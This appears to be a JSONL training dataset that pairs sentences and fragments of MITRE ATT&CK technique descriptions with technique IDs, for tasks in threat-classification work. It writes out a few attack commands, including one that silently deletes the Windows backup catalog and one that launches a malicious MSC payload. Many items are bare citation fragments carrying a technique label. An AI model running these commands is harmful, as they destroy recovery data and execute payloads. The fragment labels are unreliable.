<code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use MMC commands to perform malicious tasks.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use MMC commands to perform malicious tasks. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse MMC to execute malicious .msc files.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse MMC to execute malicious .msc files. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide process command-line arguments by overwriting process memory.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide process command-line arguments by overwriting process memory. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PEB includes the process command-line arguments that are referenced when executing the process.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PEB includes the process command-line arguments that are referenced when executing the process. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation:", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft PEB 2021)(Citation:", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft PEB 2021)(Citation: ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Xpn Argue Like Cobalt 2019)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Xpn Argue Like Cobalt 2019) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate a process PEB to evade defenses.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate a process PEB to evade defenses. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions.", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example network shares include <code>", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example network shares include <code> ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution.", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels.", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials.", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Technet Net Use)", "output": "T1077", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Technet Net Use) ### Response: T1077."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Profiling Mar 2017)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Profiling Mar 2017)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COR_PROFILER Feb 2013)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COR_PROFILER Feb 2013) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A process scope COR_PROFILER can also be created in-memory without modifying the Registry.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A process scope COR_PROFILER can also be created in-memory without modifying the Registry. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RedCanary Mockingbird May 2020)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RedCanary Mockingbird May 2020)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Canary COR_PROFILER May 2020)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Canary COR_PROFILER May 2020)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Almond COR_PROFILER Apr 2019)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Almond COR_PROFILER Apr 2019)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub OmerYa", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub OmerYa ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Invisi-Shell)(Citation: subTee .NET", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Invisi-Shell)(Citation: subTee .NET ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Profilers May 2017)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Profilers May 2017) ### Response: T1574.012."}
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